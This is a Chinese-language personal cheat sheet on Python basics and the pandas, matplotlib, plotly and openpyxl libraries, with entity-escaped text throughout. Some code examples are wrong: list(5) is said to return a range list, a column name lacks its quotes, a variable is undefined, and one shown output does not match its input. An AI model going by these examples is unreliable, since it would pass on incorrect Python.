\u0026gt;\u0026gt;\u0026gt; 1 10 \u0026gt;\u0026gt;\u0026gt; 2 15 \u0026gt;\u0026gt;\u0026gt; dtype: int64 解析Data類型 - pandas物件.DataFrame(字典型態的資料) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 data = pandas.DataFrame({ \u0026#34;name\u0026#34;: [\u0026#34;Amy\u0026#34;, \u0026#34;Jack\u0026#34;, \u0026#34;Cathy\u0026#34;], \u0026#34;salary\u0026#34;: [1000, 5000, 2000] }) print(data) \u0026gt;\u0026gt;\u0026gt; name salary \u0026gt;\u0026gt;\u0026gt; 0 Amy 1000 \u0026gt;\u0026gt;\u0026gt; 1 Jack 5000 \u0026gt;\u0026gt;\u0026gt; 2 Cathy 2000 # 取特定欄位 print(data[salary]) \u0026gt;\u0026gt;\u0026gt; 0 1000 \u0026gt;\u0026gt;\u0026gt; 1 5000 \u0026gt;\u0026gt;\u0026gt; 2 2000 可指定x軸或y軸欄位名稱(columns, index) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import pandas data = [ [65,92,78,83,70], [62,96,81,63,71], [45,58,30,53,75], [90,91,70,90,100], ] index = [\u0026#34;張三\u0026#34;, \u0026#34;李四\u0026#34;, \u0026#34;王五\u0026#34;, \u0026#34;趙雲\u0026#34;] columns = [\u0026#34;國文\u0026#34;, \u0026#34;數學\u0026#34;, \u0026#34;英文\u0026#34;, \u0026#34;自然\u0026#34;, \u0026#34;社會\u0026#34;] df = pandas.DataFrame(data, columns = columns, index = index) print(df) \u0026gt;\u0026gt;\u0026gt; 國文 數學 英文 自然 社會 \u0026gt;\u0026gt;\u0026gt; 張三 65 92 78 83 70 \u0026gt;\u0026gt;\u0026gt; 李四 62 96 81 63 71 \u0026gt;\u0026gt;\u0026gt; 王五 45 58 30 53 75 \u0026gt;\u0026gt;\u0026gt; 趙雲 90 91 70 90 100 回傳最大值 - Data資料.max() 1 2 3 4 5 data = [20, 10, 15] pds = pandas.Series(data) print(pds.max()) \u0026gt;\u0026gt;\u0026gt; 20 回傳最小值 - 資料.min() 1 2 3 4 5 data = [20, 10, 15] pds = pandas.Series(data) print(pds.min()) \u0026gt;\u0026gt;\u0026gt; 10 取得指定欄位 - Data資料.loc[x][y] 1 2 3 4 5 6 7 8 9 10 11 12 13 data = pandas.DataFrame({ \u0026#34;name\u0026#34;: [\u0026#34;Amy\u0026#34;, \u0026#34;Jack\u0026#34;, \u0026#34;Cathy\u0026#34;], \u0026#34;salary\u0026#34;: [1000, 5000, 2000] }) print(data) print(data.loc[0][1]) \u0026gt;\u0026gt;\u0026gt; name salary \u0026gt;\u0026gt;\u0026gt; 0 Amy 1000 \u0026gt;\u0026gt;\u0026gt; 1 Jack 5000 \u0026gt;\u0026gt;\u0026gt; 2 Cathy 2000 \u0026gt;\u0026gt;\u0026gt; 1000 輸出成csv(或json)檔案 - Data資料.to_csv(\u0026quot;檔名\u0026quot;, encoding=\u0026quot;編碼\u0026quot;) 或 Data資料.to_json(\u0026quot;檔名\u0026quot;, encoding=\u0026quot;編碼\u0026quot;) 1 2 3 4 5 6 7 8 9 10 11 import pandas data = [ [65,92,78,83,70], [62,96,81,63,71], [45,58,30,53,75], [90,91,70,90,100] ] index = [\u0026#34;張三\u0026#34;, \u0026#34;李四\u0026#34;, \u0026#34;王五\u0026#34;, \u0026#34;趙雲\u0026#34;] columns = [\u0026#34;國文\u0026#34;, \u0026#34;數學\u0026#34;, \u0026#34;英文\u0026#34;, \u0026#34;自然\u0026#34;, \u0026#34;社會\u0026#34;] df = pandas.DataFrame(data, columns = columns, index = index) df.to_csv(\u0026#39;temp.csv\u0026#39;, encoding=\u0026#34;utf-8-sig\u0026#34;) 繪圖模組 - plot 載入模組 1 import matplotlib.pyplot as plt 畫折線圖 - .plot(X軸資料, Y軸資料) 1 2 3 4 5 6 7 import matplotlib.pyplot as plt x1 = [1,4,7,9,13,16] y1 = [15,50,80,40,70,50] # 畫出折線圖 plt.plot(x1, y1) 顯示Label - .legend() 要顯示label需執行此function :為點線, --為虛線, 不指定預設為實線 1 2 3 4 5 6 7 8 9 10 import matplotlib.pyplot as plt x1 = [1,4,7,9,13,16] y1 = [15,50,80,40,70,50] # :為點線, --為虛線, 不指定預設為實線 plt.plot(x1, y1, label=\u0026#34;food\u0026#34;, color=\u0026#34;red\u0026#34;, linestyle=\u0026#34;:\u0026#34;) #要顯示label - 需執行legend() plt.legend() 指定圖表標題 - .title() 1 plt.title(\u0026#34;學生成績\u0026#34;) 指定X/Y軸標題 - .xlabel(X軸標題) / .ylabel(Y軸標題) 1 2 plt.xlabel(\u0026#34;X軸標題\u0026#34;) plt.ylabel(\u0026#34;Y軸標題\u0026#34;) 畫長條圖 - .bar(X軸資料, Y軸資料) 1 2 3 4 5 6 7 import matplotlib.pyplot as plt x1 = [1,4,7,9,13,16] y1 = [15,50,80,40,70,50] # 畫出長條圖 plt.bar(x1, y1) 畫圓餅圖 - .pie(資料) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import matplotlib.pyplot as plt datas = [5,10,20,15] # 畫出圓餅圖 plt.pie(datas) # 讓特定區塊凸出(需與資料數量相同) explode = [0,0,0.05,0] plt.pie(datas, explode = explode) # 指定每個區塊的標題 labels = [\u0026#34;東部\u0026#34;,\u0026#34;南部\u0026#34;,\u0026#34;西部\u0026#34;,\u0026#34;北部\u0026#34;] plt.pie(sizes, labels = labels) # 顯示百分比 plt.pie(sizes,autopct=\u0026#34;%3.1f%%\u0026#34;) 繪圖模組2 - plotly 安裝 plotly 模組 Anaconda編譯器的話，需使用Anaconda Prompt安裝。 使用Jupyter Notebook編輯 1 2 ### anaconda 安裝 plotly 模組 conda install plotly 載入模組(並指定繪圖模式) 1 2 3 4 import plotly # 指定繪圖模式：Scatter, Bar, Pie, Box, Scattergeo, Histogram from plotly.graph_objs import Scatter # 折線散點圖 在線繪圖需收費，需使用離線繪圖 1 plotly.offline.init_notebook_mode(connected=True) 指定X/Y軸資料 1 data = [Scatter(x=[\u0026#34;林大名\u0026#34;, \u0026#34;陳聰明\u0026#34;, \u0026#34;黃美麗\u0026#34;], y=[67,89,72])] 畫出折線圖 1 2 data = [Scatter(x=[\u0026#34;林大名\u0026#34;, \u0026#34;陳聰明\u0026#34;, \u0026#34;黃美麗\u0026#34;], y=[67,89,72])] plotly.offline.iplot({\u0026#34;data\u0026#34;:data}) 指定繪圖的mode 1 2 3 # markers：只有點 / lines：只有線 / lines + markers：點 + 線 data = [Scatter(x=[\u0026#34;林大名\u0026#34;, \u0026#34;陳聰明\u0026#34;, \u0026#34;黃美麗\u0026#34;], y=[67,89,72], mode=\u0026#34;markers\u0026#34;)] plotly.offline.iplot({\u0026#34;data\u0026#34;:data}) 指定圖表標題(繪圖模式須import Layout) 1 2 3 4 5 6 7 8 9 10 11 12 import plotly from plotly.graph_objs import Scatter, Layout # 離線繪圖模式 plotly.offline.init_notebook_mode(connected=True) data = [Scatter(x=[\u0026#34;林大名\u0026#34;, \u0026#34;陳聰明\u0026#34;, \u0026#34;黃美麗\u0026#34;], y=[67,89,72])] # 指定圖表標題 plotly.offline.iplot({\u0026#34;data\u0026#34;:data, \u0026#34;layout\u0026#34;:Layout(title=\u0026#34;成績單\u0026#34;)}) Excel模組 - openpyxl 載入模組 1 import openpyxl 建立工作簿物件 - openpyxl.Workbook() 1 2 # 工作簿物件 workbook = openpyxl.Workbook() 取得指定工作表 1 2 # 工作表物件 sheet = workbook.worksheets[0] 鍵入值 方法一：行列插入 1 2 3 # sheet：工作表物件 sheet[\u0026#39;A1\u0026#39;] = \u0026#34;欄位一\u0026#34; sheet[\u0026#39;B1\u0026#39;] = \u0026#34;欄位二\u0026#34; 方法二：自動換行插入 1 2 3 # sheet：工作表物件 listTitle = [\u0026#34;姓名\u0026#34;, \u0026#34;電話\u0026#34;] sheet.append(listTitle) 取得特定欄位的值 - .value 1 sheet[\u0026#39;A1\u0026#39;].value 存檔 - 工作簿物件.save(檔名) 1 workbook.save(\u0026#39;test.xlsx\u0026#39;) 取檔 - openpyxl.load_workbook(檔名) 1 workbook = openpyxl.load_workbook(\u0026#39;test.xlsx\u0026#39;) 取得總行數 - 工作表物件.max_row 1 print(sheet.max_row) 取得總列數 - 工作表物件.max_column 1 print(sheet.max_column) 到指定欄位 - 工作表物件.cell(row=指定行數, column=指定列數) 1 2 # 印出第3行第2列的值 print(sheet.cell(row=3, column=2).value) Python 資料型態 資料型態說明 資料型態 說明 str 字串 int 整數 bool 布林值 float 浮點數 None 空值 list [] 列表，同Array tuple () 不可變更的Array dict {} 字典，同Object set () 集合，同Object，但key為索引值 Python 運算子 基本運算子 運算子 說明 + 加：數值相加,字串相連接 - 減 * 乘：數值相乘,字串可乘數值(python獨有) / 浮點數除 ** 平方 **0.5 開根號 // 整數除 % 取餘數 指派運算子 運算子 說明 += 原值等於原值加 -= 原值等於原值減 *= 原值等於原值乘 /= 原值等於原值除 判斷運算子 運算子 說明 \u0026gt; 大於 \u0026lt; 小於 == 等於 != 不等於 \u0026gt;= 大於等於 \u0026lt;= 小於等於 邏輯運算子 運算子 說明 and 並且 or 或者 not 反向 Python 函式 回傳資料型態 - type() 1 2 3 4 5 6 7 8 type(3) \u0026gt;\u0026gt;\u0026gt; \u0026lt;class \u0026#39;int\u0026#39;\u0026gt; type(\u0026#39;a\u0026#39;) \u0026gt;\u0026gt;\u0026gt; \u0026lt;class \u0026#39;str\u0026#39;\u0026gt; type(True) \u0026gt;\u0026gt;\u0026gt; \u0026lt;class \u0026#39;bool\u0026#39;\u0026gt; type(None) # Python的空值為None \u0026gt;\u0026gt;\u0026gt; \u0026lt;class \u0026#39;NoneType\u0026#39;\u0026gt; 輸入窗 - input() 1 2 3 4 myName = input(\u0026#34;請輸入姓名：\u0026#34;) \u0026gt;\u0026gt;\u0026gt; 請輸入姓名：jessica # 輸入名字後 print(myName) # 取輸入的名字 \u0026gt;\u0026gt;\u0026gt; jessica 字串轉數值 - eval() 1 2 3 num = eval(\u0026#34;3\u0026#34;) print(type(num)) \u0026gt;\u0026gt;\u0026gt; \u0026lt;class \u0026#39;int\u0026#39;\u0026gt; 特殊符號轉十進位編號 - ord() / chr() 1 2 3 4 5 6 7 # ord 將特殊符號轉換成十進位編號 ord(\u0026#39;⤅\u0026#39;) \u0026gt;\u0026gt;\u0026gt; 10501 # chr 將十進位編號轉換成特殊符號 chr(10501) \u0026gt;\u0026gt;\u0026gt; ⤅ 取最大 / 最小值 - max() / min() 1 2 3 4 min(1, 2, 45, 100) \u0026gt;\u0026gt;\u0026gt; 1 max(1, 2, 45, 100) \u0026gt;\u0026gt;\u0026gt; 100 取絕對數值 - abs() 1 2 abs(-3.14) \u0026gt;\u0026gt;\u0026gt; 3.14 進制字串轉數字 - eval() 1 2 eval(\u0026#34;0o101\u0026#34;) \u0026gt;\u0026gt;\u0026gt; 65 數字轉字串 - str() 1 2 str(324) \u0026gt;\u0026gt;\u0026gt; \u0026#39;324\u0026#39; 字串轉數字或數字轉整數 - int() 1 2 3 4 int(\u0026#34;324\u0026#34;) \u0026gt;\u0026gt;\u0026gt; 324 int(3.14) \u0026gt;\u0026gt;\u0026gt; 3 浮點數字串轉數字 - float() 1 2 float(\u0026#34;3.1416\u0026#34;) \u0026gt;\u0026gt;\u0026gt; 3.1416 四捨五入 - round(數值 [,位數]) 1 2 3 4 5 6 round(3.1416) \u0026gt;\u0026gt;\u0026gt; 3 # 第二個參數可帶位數 round(3.1416, 3) \u0026gt;\u0026gt;\u0026gt; 3.142 平方 - pow(數值, 平方根) 1 2 3 # 第二個參數為平方根 pow(5, 2) \u0026gt;\u0026gt;\u0026gt; 25 取得長度 - len() 任何資料型態都通用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # String strA = \u0026#34;Hello World\u0026#34; len(strA) \u0026gt;\u0026gt;\u0026gt; 11 # Array arrA = [1, 2, 20, 50, 100] len(arrA) \u0026gt;\u0026gt;\u0026gt; 5 # Object objA = {\u0026#34;itemA\u0026#34;:\u0026#34;123\u0026#34;, \u0026#34;itemB\u0026#34;:\u0026#34;456\u0026#34;} len(objA) \u0026gt;\u0026gt;\u0026gt; 2 編碼 / 解碼 - encode() / decode() 1 2 3 4 5 \u0026#34;中\u0026#34;.encode(\u0026#34;utf-8\u0026#34;) \u0026gt;\u0026gt;\u0026gt; b\u0026#39;\\xe4\\xb8\\xad\u0026#39; b\u0026#39;\\xe4\\xb8\\xad\u0026#39;.decode(\u0026#34;utf-8\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026#34;中\u0026#34; 字串轉大小寫 - upper() / lower() 1 2 3 4 5 6 7 StrA = \u0026#34;Hello World!\u0026#34; # 大寫 StrA.upper() \u0026gt;\u0026gt;\u0026gt; \u0026#39;HELLO WORLD!\u0026#39; # 小寫 StrA.lower() \u0026gt;\u0026gt;\u0026gt; \u0026#39;hello world!\u0026#39; 字串取代 - replace(舊字串, 新字串) 1 2 3 StrA = \u0026#34;Hello World!\u0026#34; StrA.replace(\u0026#34;World\u0026#34;, \u0026#34;Jessica\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026#39;Hello Jessica!\u0026#39; 字串判斷的函式 函式 說明 StrA.isalpha() 是否為字母 StrA.isdigit() 是否為數字 StrA.isupper() 是否為大寫 StrA.islower() 是否為小寫 StrA.isidentifer() 是否為識別字 StrA.iskeyword() 是否為關鍵字,需要keyword模組 StrA.isspace() 是否為空白 StrA.istitle() 是否為標題字(第一個字為大寫則是標題字) 字串搜尋的函式 函式 說明 Str.count(文字A) 搜尋文字A出現的次數 StrA.startswith(文字A) 是否為文字A開頭 StrA.endswith(文字A) 是否為文字A結尾 StrA.find(文字A) 搜尋文字A的位置 StrA.rfind(文字A) 搜尋文字A最後出現的位置 印出字串 - print() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 一般的print(間隔預設自動補空格) print(1, 2, 3) \u0026gt;\u0026gt;\u0026gt; 1 2 3 # 間隔不空格 print(1, 2, 3, sep=\u0026#34;\u0026#34;) \u0026gt;\u0026gt;\u0026gt; 123 # 指定間隔文字 print(1, 2, 3, sep=\u0026#34;@\u0026#34;) \u0026gt;\u0026gt;\u0026gt; 1@2@3 # 指定結尾文字 print(1, 2, 3, sep=\u0026#34;@\u0026#34;, end=\u0026#34;!!!\u0026#34;) \u0026gt;\u0026gt;\u0026gt; 1@2@3!!! # 格數化輸出字元(開頭帶一個小寫的\u0026#34;f\u0026#34;) print(f\u0026#39;{變數A}*{變數B}={變數A*變數B}\u0026#39;) \u0026gt;\u0026gt;\u0026gt; A * B = AB 字串格式化 - format() 取代字串中{} 1 2 3 text = \u0026#39;world\u0026#39; print(\u0026#39;hello {}\u0026#39;.format(text)) \u0026gt;\u0026gt;\u0026gt; hello world 可帶關鍵字取代 1 2 3 4 5 name = \u0026#39;Jack\u0026#39; text = \u0026#39;world\u0026#39; print(\u0026#39;hello {name}, hello {text}\u0026#39;.format(name=name, text=text)) \u0026gt;\u0026gt;\u0026gt; hello Jack, hello world 從最後面插入 - append() 1 2 3 4 list1 = [2,4,6,8] list1.append(10) \u0026gt;\u0026gt;\u0026gt; [2,4,6,8,10] 從指定位置插入 - insert(位置, 值) 1 2 3 4 list1 = [2,4,6,8,10] list1.insert(0, -1) \u0026gt;\u0026gt;\u0026gt; [-1,2,4,6,8,10] 條件判斷 條件判斷式 - if\u0026hellip; elif\u0026hellip; else\u0026hellip; 1 2 3 4 5 6 7 # 使用縮排撰寫要做的事 if 條件A: ... elif 條件B: ... else: ... 例外判斷 - try\u0026hellip; except\u0026hellip; 1 2 3 4 5 6 7 8 try: # ... except Exception: print(\u0026#34;有異常錯誤\u0026#34;) except NameError: print(\u0026#34;變數有錯誤\u0026#34;) except TypeError: print(\u0026#34;資料格式錯誤\u0026#34;) except 錯誤分類 錯誤異常判斷 說明 Exception 只要有錯誤 NameError 變數名稱錯誤 ValueError value值錯誤 ZeroDivisionError 除數/分母不可為零的錯誤 TypeError 資料格式錯誤 迴圈 技術式迴圈 - for 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 跑range for i in range(1, 6): print(i, end=\u0026#34; \u0026#34;) \u0026gt;\u0026gt;\u0026gt; 1 2 3 4 5 # 跑在字串 for c in \u0026#34;Mary\u0026#34;: print(c, end=\u0026#34; \u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026#34;M\u0026#34; \u0026#34;a\u0026#34; \u0026#34;r\u0026#34; \u0026#34;y\u0026#34; # 跑在陣列 for e in [\u0026#34;a\u0026#34;, 3, \u0026#34;Jessica\u0026#34;] \u0026gt;\u0026gt;\u0026gt; \u0026#34;a\u0026#34; \u0026gt;\u0026gt;\u0026gt; 3 \u0026gt;\u0026gt;\u0026gt; \u0026#34;Jessica\u0026#34; 條件式迴圈 - while 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # while迴圈 i = 0 while i \u0026lt; 5: i += 1 print(i) \u0026gt;\u0026gt;\u0026gt; 1 \u0026gt;\u0026gt;\u0026gt; 2 \u0026gt;\u0026gt;\u0026gt; 3 \u0026gt;\u0026gt;\u0026gt; 4 \u0026gt;\u0026gt;\u0026gt; 5 # While判斷(反覆驗證直到ans等於\u0026#34;happy\u0026#34;) ans = input(\u0026#34;請輸入快樂的英文：\u0026#34;) while ans != \u0026#34;happy\u0026#34;: ans = input(\u0026#34;拼錯囉，再給你一次機會：\u0026#34;) else: print(\u0026#34;答對囉，是happy\u0026#34;) break：跳脫迴圈 1 2 3 4 5 6 7 8 9 ans = input(\u0026#34;請輸入快樂的英文：\u0026#34;) while ans.lower() != \u0026#34;happy\u0026#34;: # 當輸入quit時跳出迴圈 if(ans.lower() == \u0026#34;quit\u0026#34;): print(\u0026#34;猜不出來了吧，結束\u0026#34;) break; ans = input(\u0026#34;拼錯囉，再給你一次機會：\u0026#34;) else: print(\u0026#34;答對囉，是\u0026#34;, ans) continue：跳過繼續進行下一迴圈 1 2 3 4 5 6 7 8 # i遇4的因數就跳過 i = 0 while i \u0026lt;= 100: i += 1 # continue前要先加1，避免進入無窮迴圈 if i % 4 == 0: continue print(i, end=\u0026#34; \u0026#34;) 自訂函式 自定義函式 - def 一般宣告函式 1 2 3 4 5 6 7 def printStar(_n): return \u0026#34;*\u0026#34; * _n # 執行函式 print(printStar(6)) \u0026gt;\u0026gt;\u0026gt; ****** 設定參數預設值 1 2 3 4 5 6 7 8 9 10 11 def TeaTime(desserts, drink=\u0026#34;咖啡\u0026#34;): print(f\u0026#39;下午茶點心為{desserts},飲料為{drink}\u0026#39;) TeaTime(\u0026#39;馬卡龍\u0026#39;, \u0026#39;紅茶\u0026#39;) # 指定實際參數 TeaTime(\u0026#39;馬卡龍\u0026#39;) # 飲料會顯示預設值:咖啡 TeaTime() # 兩個參數都顯示預設值 \u0026gt;\u0026gt;\u0026gt; 下午茶點心為馬卡龍,飲料為紅茶 \u0026gt;\u0026gt;\u0026gt; 下午茶點心為馬卡龍,飲料為咖啡 \u0026gt;\u0026gt;\u0026gt; 下午茶點心為鬆餅,飲料為咖啡 設定不定個數參數(參數為tuple型態) 帶入參數帶星號可將帶入的參數組成一個tuple 1 2 3 4 5 6 7 8 9 def add(*numbers): total = 0 for i in numbers: total += i print(total) add(1, 2, 4, 6) \u0026gt;\u0026gt;\u0026gt; 13 實際參數帶星號可將原為tuple型態的資料拆解開來 1 2 3 4 5 6 7 8 9 def add(*numbers): total = 0 for i in numbers: total += i print(total) add(*range(0, 11)) \u0026gt;\u0026gt;\u0026gt; 55 多個回傳值 1 2 3 4 5 6 7 8 9 10 11 12 # 回傳值用逗號隔開 def divmod(x, y): div = x // y mod = x % y return div, mod # 用{a,b}接多個回傳值 a, b = divmod(100, 7) print(f\u0026#39;100除以7的商數為{a},餘數為{b}\u0026#39;) \u0026gt;\u0026gt;\u0026gt; 100除以7的商數為14,餘數為2 操作 List(列表) 建立 建立空list 1 2 3 4 5 # 方法1: list1 = [] # 方法2: list2 = list() 建立list 1 list1 = [1, \u0026#34;taipei\u0026#34;, 2, \u0026#34;tokyo\u0026#34;] # 每個的資料型態不限 從string建立list 1 list1 = list(\u0026#34;Hello\u0026#34;) # list1為 [\u0026#34;H\u0026#34;,\u0026#34;e\u0026#34;,\u0026#34;l\u0026#34;,\u0026#34;l\u0026#34;,\u0026#34;o\u0026#34;] 從range建立list 1 list1 = list(5) # list1為 [0,1,2,3,4] 從字串分割建立list 1 list1 = \u0026#34;1 2 3\u0026#34;.split() # list1為 [\u0026#34;1\u0026#34;,\u0026#34;2\u0026#34;,\u0026#34;3\u0026#34;] 刪除 刪除整個list 1 del list1 刪除list中的某一個(以第一個為例) 1 2 3 4 5 6 7 8 # 方法1 del list1[0] # 方法2 list.remove(0) # 方法3 list.pop([0]) 清除list元素(等於del list[::]) 1 2 3 4 list1 = [2,4,6,8,10] list1.clear() \u0026gt;\u0026gt;\u0026gt; [] list新增元素 1 2 3 list.append(x) # 附加元素到最後 list.extend(L) list.inser(i, x) # 插入元素至指定位置 查詢索引 1 list1.index(\u0026#39;a\u0026#39;) # 查詢a在list1的索引 統計出現的次數 1 list1.count(\u0026#39;a\u0026#39;) # 統計a在list1中出現的次數 元素排序 1 list.sort() # 原地操作 元素倒序 1 list1.reverse() # 原地操作 操作 Dict(字典) 查詢 一般查詢 1 dict1[key] # 若key值不在會報錯 以key查詢，使用dict1.get(key, [default]) - (推薦) 1 2 3 4 5 6 7 8 9 10 11 12 13 # 若無key值則顯示default dict1.get(key, [default]) #example: fruits = {\u0026#34;apple\u0026#34;:\u0026#34;30元\u0026#34;, \u0026#34;banana\u0026#34;:\u0026#34;10元\u0026#34;} Quest = input(\u0026#34;請輸入要查詢的價格的水果：\u0026#34;) print(fruits.get(Quest, \u0026#34;查無此水果\u0026#34;)) \u0026lt;\u0026lt;\u0026lt; apple \u0026gt;\u0026gt;\u0026gt; 30元 \u0026lt;\u0026lt;\u0026lt; orange \u0026gt;\u0026gt;\u0026gt; 查無此水果 查詢所有的key (回傳列表) 1 2 3 4 dict1 = {\u0026#34;user1\u0026#34;:\u0026#34;小丸子\u0026#34;, \u0026#34;user2\u0026#34;:\u0026#34;小玉\u0026#34;, \u0026#34;user3\u0026#34;:\u0026#34;花輪\u0026#34;} dict1.keys() \u0026gt;\u0026gt;\u0026gt; dict_keys([\u0026#39;user1\u0026#39;, \u0026#39;user2\u0026#39;, \u0026#39;user3\u0026#39;]) 查詢所有的values (回傳列表) 1 2 3 4 dict1 = {\u0026#34;user1\u0026#34;:\u0026#34;小丸子\u0026#34;, \u0026#34;user2\u0026#34;:\u0026#34;小玉\u0026#34;, \u0026#34;user3\u0026#34;:\u0026#34;花輪\u0026#34;} dict1.values() \u0026gt;\u0026gt;\u0026gt; dict_values([\u0026#39;小丸子\u0026#39;, \u0026#39;小玉\u0026#39;, \u0026#39;花輪\u0026#39;]) 建立 建立空dict 1 2 3 4 5 # 方法1: dict1 = {} # 方法2: dict2 = dict() 建立dict 1 dict1 = {1:\u0026#34;one\u0026#34;, 2:\u0026#34;tow\u0026#34;, 3:\u0026#34;three\u0026#34;} 新增dict 1 dict1[newKey] = value 更新 更新dict 1 dict1[oldKey] = value 比對更新 - update update 會比對沒有的key並補上，比對有的key進行value更新。 1 2 3 4 5 6 dict1 = {\u0026#39;user1\u0026#39;: \u0026#39;小丸子\u0026#39;, \u0026#39;user2\u0026#39;: \u0026#39;小玉\u0026#39;, \u0026#39;user3\u0026#39;: \u0026#39;花輪\u0026#39;} dict2 = {\u0026#39;user1\u0026#39;: \u0026#39;大丸子\u0026#39;, \u0026#39;user2\u0026#39;: \u0026#39;小玉\u0026#39;, \u0026#39;user3\u0026#39;: \u0026#39;花輪\u0026#39;, \u0026#39;user4\u0026#39;: \u0026#39;多拉A夢\u0026#39;} dict1.update(dict2) \u0026gt;\u0026gt;\u0026gt; {\u0026#39;user1\u0026#39;: \u0026#39;大丸子\u0026#39;, \u0026#39;user2\u0026#39;: \u0026#39;小玉\u0026#39;, \u0026#39;user3\u0026#39;: \u0026#39;花輪\u0026#39;, \u0026#39;user4\u0026#39;: \u0026#39;多拉A夢\u0026#39;} 刪除 刪除整個dict 1 del dict1 清空整個dict 1 dict1.clear() 刪除list中的某一個(以第一個為例) 1 del dict1[key] 操作 class (類別/物件導向) 封裝成一個類別 - class 類別名稱: python的class會自動執行__init__函式，可自行定義__init__內要做的事。 __init__第一個參數預設為self。 1 2 3 4 5 6 7 class GoogleSpyder: def __init__(self, keyword): self.keyword = keyword self.url_tmp = \u0026#34;http://google.com/search?q=\u0026#34; + keyword + \u0026#34;\u0026amp;start={}\u0026#34; self.headers = {\u0026#34;user-agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36\u0026#34;} googleSpyder = GoogleSpyder(\u0026#34;python\u0026#34;) # 自動執行 __init__ 檔案處理 讀寫模式 模式 說明 r read：讀取(檔案需存在) w write：新建檔案寫入(檔案可不存在，若存在則清空) a append：資料附加到舊檔案後面(游標指在檔案結尾，檔案可不存在) r+ 讀取舊資料並寫入(檔案需存在且游標指在開頭) w+ 清空檔案內容，新寫入的東西可再讀出 a+ 資料附加到舊檔案後面，可讀取資料 b 二進位模式 記憶方式： 1 2 3 4 w、w+ # 會清除原檔案內容 r、r+ # 檔案指標指向檔案開頭 a、a+ # 檔案指標指向檔案結尾 + # 可讀可寫模式 檔案開啟 - open() 操作後需關檔 - close() 1 2 3 4 5 6 7 8 9 10 content = \u0026#34;\u0026#34;\u0026#34;Hello Python 中文測試 abc 123456.321654987 $@^$%^@#$!@#$ \u0026#34;\u0026#34;\u0026#34; file = open(\u0026#34;myfile.txt\u0026#34;, \u0026#34;w\u0026#34;) ... file.close() 讀取 - read() myfile.txt 1 testtest123 test.py 1 2 3 file = open(r\u0026#34;myfile.txt\u0026#34;, \u0026#34;r\u0026#34;) print(file.read()) file.close() 執行回傳 1 \u0026gt;\u0026gt;\u0026gt; testtest123 寫入 - write() test.py 1 2 3 file = open(r\u0026#34;myfile.txt\u0026#34;, \u0026#34;w\u0026#34;) file.write(\u0026#39;testtest123\u0026#39;) file.close() myfile.txt 1 testtest123 移動讀寫頭 - seek() 1 2 3 4 5 6 7 8 9 10 11 12 content = \u0026#34;\u0026#34;\u0026#34;Hello Python\u0026#34;\u0026#34;\u0026#34; file = open(r\u0026#34;myfile.txt\u0026#34;, \u0026#34;r\u0026#34;) # file.write(content) file_content = file.read() print(file_content) file.seek(0) # 移動讀寫頭到開頭 file_content = file.read() print(file_content) file.close() 執行回傳 1 2 \u0026gt;\u0026gt;\u0026gt; Hello Python \u0026gt;\u0026gt;\u0026gt; Hello Python 讀出行數 - readline() \u0026amp; readlines() readline：一行一行讀 readlines：一次讀全部行數 poem.txt 1 2 3 4 松下問童子 言師採藥去 只在此山中 雲深不知處 read.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # readlines() 一次讀出 f = open(r\u0026#39;poem.txt\u0026#39;, \u0026#39;r\u0026#39;) lines = f.readlines() for line in lines: print(line, end=\u0026#39;\u0026#39;) f.seek(0) # 讀寫頭回到開頭 # readline() 一行一行讀 line = f.readline() while line != \u0026#39;\u0026#39;: print(line, end=\u0026#39;\u0026#39;) line = f.readline() f.close() 執行回傳： 1 2 3 4 \u0026gt;\u0026gt;\u0026gt; 松下問童子 \u0026gt;\u0026gt;\u0026gt; 言師採藥去 \u0026gt;\u0026gt;\u0026gt; 只在此山中 \u0026gt;\u0026gt;\u0026gt; 雲深不知處 使用 with-open-as 做讀檔案的動作 - (推薦) 1 2 with open(r\u0026#34;poem.txt\u0026#34;, \u0026#34;r\u0026#34;) as file: print(file.read()) 執行回傳： 1 2 3 4 \u0026gt;\u0026gt;\u0026gt; 松下問童子 \u0026gt;\u0026gt;\u0026gt; 言師採藥去 \u0026gt;\u0026gt;\u0026gt; 只在此山中 \u0026gt;\u0026gt;\u0026gt; 雲深不知處 刪除檔案 - remove() 使用os模組 使用os.path.exists判斷檔案是否存在 1 2 3 4 5 6 7 8 import os file = r\u0026#34;poem2.txt\u0026#34; if os.path.exists(file): os.remove(file) else: print(\u0026#39;No exists file\u0026#39;) 新增目錄 - mkdir() 使用os.path.exists判斷檔案是否存在 1 2 3 4 5 6 7 8 import os dir = \u0026#34;testDir\u0026#34; if os.path.exists(dir): print(\u0026#34;Direct is exists\u0026#34;) else: os.mkdir(dir) 刪除空目錄 - rmdir() 使用os.path.exists判斷檔案是否存在 限定空目錄 1 2 3 4 5 6 7 8 import os dir = \u0026#34;testDir\u0026#34; if os.path.exists(dir): os.rmdir(dir) else: print(\u0026#34;Direct is undefine\u0026#34;) 刪除目錄與底下全部檔案 - rmtree() 使用shell utility模組 - shutil 需謹慎使用避免刪錯目錄 1 2 3 import shutil shutil.rmtree(\u0026#34;testDir\u0026#34;) Python 語法筆記 兩個變數交換值(Python Only) 1 2 3 4 x = 3 y = 8 x,y = y,x # 交換兩個變數的值 print(x,y) 開頭宣告編碼方式可直接強轉(Python Only) 1 2 3 4 # -*- coding: utf-8 -*- # 轉utf-8 print(\u0026#34;哈囉\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026#34;哈囉\u0026#34; Python函數帶入參數方式 參數以tuple傳入function。 1 2 3 4 5 6 def func1(*args): print(args) func2(1,3,5,7,9) \u0026gt;\u0026gt;\u0026gt; (1, 3, 5, 7, 9) 參數以tuple拆解，進function在組合回tuple。 1 2 3 4 5 6 def func2(*args): print(args) func2(*(2,4,6,8,10)) \u0026gt;\u0026gt;\u0026gt; (1, 3, 5, 7, 9) 